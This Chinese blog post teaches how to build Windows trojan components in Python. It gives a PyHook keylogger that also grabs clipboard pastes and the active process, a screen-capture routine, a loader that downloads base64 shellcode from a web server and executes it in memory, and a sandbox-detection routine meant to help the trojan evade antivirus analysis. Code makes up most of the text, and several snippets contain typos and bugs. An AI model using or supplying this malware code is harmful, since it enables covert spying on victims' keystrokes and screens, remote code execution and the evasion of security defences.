windows 下木马的常用功能

我们开始创建一些小功能函数。

键盘记录

键盘记录器很常见。优秀的第三方python库 PyHook能让我们很容易捕获所有键盘事件。它利用了原生的windows函数SetWindowsHookEx,这个函数允许我们安装自定义钩子,当特定的windows事件发生时,这个钩子函数就会被调用。我们通过注册键盘事件的钩子函数能捕获目标机器触发的所有按键信息。除此之外,我们还需要精确的知道哪些进程中执行了这些按键。PyHook封装了所有底层编程方法,我们只需要关注键盘记录的核心逻辑。

pyhook 下载地址:https://sourceforge.net/projects/pyhook/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from ctypes import *
import pythoncom
import pyhook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
# 获得前台窗口句柄
hwnd = user32.GetForegroundWindow()

# 获得进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))

# 保存当前的进程ID
process_id = "%d" % pid.value

# 申请内存
executable = create_string_buffer("\x00" * 512)

# 自主打开进程
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
# 获取进程基础信息
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

# 输出进程相关的信息
print
print "[ PID: %s - %s -%s ] " % (process_id, executable.value, window_title.value)
print

# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

GetForegroundWindow 返回目标桌面上当前活动窗口句柄

GetWindowThreadProcessId 获取进程id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from ctypes import *
import pythoncom
import pyhook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
# 获得前台窗口句柄
hwnd = user32.GetForegroundWindow()

# 获得进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))

# 保存当前的进程ID
process_id = "%d" % pid.value

# 申请内存
executable = create_string_buffer("\x00" * 512)

# 自主打开进程
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
# 获取进程基础信息
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

# 输出进程相关的信息
print
print "[ PID: %s - %s -%s ] " % (process_id, executable.value, window_title.value)
print

# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

def KeyStroke(event):
global current_window

# 检查目标是否切换了窗口
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()

# 检查案件是否为非常规按键(非组合按键)
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# 如果是输入为【ctrl -v】, 则获得剪切板的内容
if event.Key == "V"
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()

print "[PASTE] - %s" % (pasted_value),

else:
print "[%s]" % event.Key,

return True
k1 =pyHook.HookManager()
k1.KeyDown = KeyStroke

# 注册键盘记录的钩子,然后永久执行
k1.Hookkeyboard()
pythoncom.PumpMessages()

上面是完整的键盘钩子代码。我们定义了PyHook的HookManger管理器,然后将我们自定义的回调函数KeyStroke与keyDown事件进行绑定。 通过PyHook钩住了所有按键事件,然后继续消息循环。回调函数通过返回True来允许执行消息队列中的下一个hook事件。

截取屏幕快照

我们可以使用pyWin32库,通过调用本地windowsAPI的方式来实现抓屏功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import win32gui
import win32ui
import win32con
import win32api

# 获得桌面窗口的句柄,它包含了所有可显示区域,即使这些区域分布在多个显示器上。
hdesktop = win32gui.GetDesktopWindow()

#获得所有显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREENT)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
# 创建基于内存的设备描述表
imc_dc = win32ui.CreateDCFromHandle(desktop_dc)

mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(imc_dc, width, height)
# 将基于内存的设备描述表指向我们捕获到的位图对象
mem_dc.SelectObject(screenshot)

# 复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 将位图保存到文件
screenshot.SavaBitmapFile(mem_dc, 'c:\\WINDOWS\Temp\\screenshot.bmp')

# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.Gethandle())

Python方式的shellcode执行

有时候,你可能需要与目标机器中的某一台主机进行交互,或者在目标主机上运行你钟爱的渗透测试框架中某种新的漏洞利用模块。我们需要具备在目标机器上执行shellcode的方法。

执行原生的二进制shellcode。我们只需要在内存中申请缓冲区,然后利用ctypes模块创建指向这片内存的函数指针,最后调用这个函数。 这个例子中,我们将利用urllib32模块从web服务器上下载base64编码shellcode然后执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib2
import ctypes
import base64
# 从web服务器上下载shellcode
url = "http://localhost:8000/shellcode.bin"
response = urllib2.urlopen(url)
# base64解码shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 执行shellcode
shellcode_func()

附录:https://www.offensive-security.com/metasploit-unleashed/generating-payloads/

沙盒检测

防病毒软件越来越多地使用了某种类型的沙盒来检测可疑样本行为。无论沙盒在哪个位置,我们都要尽量避免网络上可能的防御。使用一些标识来尝试确定我们的木马是否运行在沙盒内部。我们将会监视目标机器最近的用户输入,包括键盘输入和鼠标点击。

以下代码来搜寻键盘事件、鼠标点击和双击事件。脚本还尝试判断沙盒的管理者是否在重复发送输入信号,管理者通过这种行为调用原始的沙盒检测方法。我们将对用户与机器最后交互的时间与机器开机时间进行对比,这是判断是否在沙盒内部运行的极好方式。在沙盒环境钟通常没有用户的交互。

对沙盒进行检测,我们可以决定我们的木马是否应该继续运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

# 初始化记录
keystrokes = 0
mouse_clicks = 0
double_clicks = 0

class LASTINPUTINFO(ctypes, Structure):
_fields_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)
]
def get_last_input():
struct_lastinputinfo = LASTINPUTINFO()
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
# 获得用户最后输入的相关信息
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

# 获得机器运行的时间
run_time = kernel32.GetTickCount()

elapsed = run_time - struct_lastinputinfo.dwTime

print "[*] it's been %d millisecodes since the last input event." % elapsed

return elapsed
# 测试后删除
while True:
get_last_input()
time.sleep(1)

先定义了LASTINPUTINFO结构体,它用来保存系统检测到的最后输入事件的时间戳(毫秒为单位)。

需要注意的是,你必须在调用函数写入时间戳之前,初始化cbSize变量,将它设置为结构体大小。之后,我们调用

GetLastInputInfo函数,将系统最后输入事件时间填充到struct_lastinputinfo.dwTime。kernel32.GetTickCount()获取开机至现在运行时间。

最后是一个简单的测试,在脚本运行期间是否可以移动鼠标、敲击键盘上的按键,观察代码输出。

我们下一步定义一些与用户输入相关的阈值。不同的目标和攻击方法设置的阈值都不一样。如:需要用户点击的操作(钓鱼邮件),木马在运行前的一两分钟内,目标系统上都有用户输入。假如目标系统运行十分钟,而用户输入也十分钟之前,那可能就是在沙盒里面。

我们使用ctypes记录按键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def get_key_press():

global mouse_clicks
global keystrokes

# 对所有可用的键的范围进行迭代
for i in range(0, 0xff):
# 使用GetAsyncKeyState函数对每个键进行检查,以确定它是否被按下
if user32.GetAsyncKeyState(i) == -32767:
if i == 0x1:
mouse_clicks += 1
return time.time()

elif i > 32 and i < 127:
keystrokes += 1
else:
pass
return None

上述函数获得目标系统上鼠标点击数量、鼠标点击的时间,以及按键盘的次数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

keystrokes = 0
mouse_clicks = 0
double_clicks = 0

class LASTINPUTINFO(ctypes, Structure):
_fields_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)
]
def get_last_input():
struct_lastinputinfo = LASTINPUTINFO()
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

run_time = kernel32.GetTickCount()

elapsed = run_time - struct_lastinputinfo.dwTime

print "[*] it's been %d millisecodes since the last input event." % elapsed

return elapsed

def get_key_press():

global mouse_clicks
global keystrokes

for i in range(0, 0xff):
if user32.GetAsyncKeyState(i) == -32767:
if i == 0x1:
mouse_clicks += 1
return time.time()

elif i > 32 and i <127:
keystrokes += 1
else:
pass
return None

def detect_sandbox():
global mouse_clicks
global keystrokes

max_keystrokes = random.randint(10, 25)
max_mouse_clicks = random.randint(5, 25)

double_clicks = 0
max_double_clicks = 10
double_click_threshold = 0.250
first_double_click = None

average_mousetime = 0
max_input_threshold = 30000

previous_timestamp = None
detection_complete = False

last_input = get_last_input()

if last_input >= max_input_threshold:
sys.exit(0)
while not detection_complete:
keypress_time = get_key_press()
if keypress_time is not None and previous_timestamp is not None:

elapsed = keypress_time - previous_timestamp

if elapsed <= double_click_threshold:
double_clicks += 1
if first_double_click is None:
first_double_click = time.time()
else:
if double_clicks == max_double_clicks:
if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
sys.exit(0)

if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks > max_mouse_clicks:
return
previous_timestamp = keypress_time
elif keypress_time is not None:
previous_timestamp = keypress_time
detect_sandbox()
print "We are ok!"
-----本文结束感谢您的阅读-----
warcup wechat
欢迎扫描二维码关注我的公众号~~~
喜 欢 这 篇 文 章 吗 ?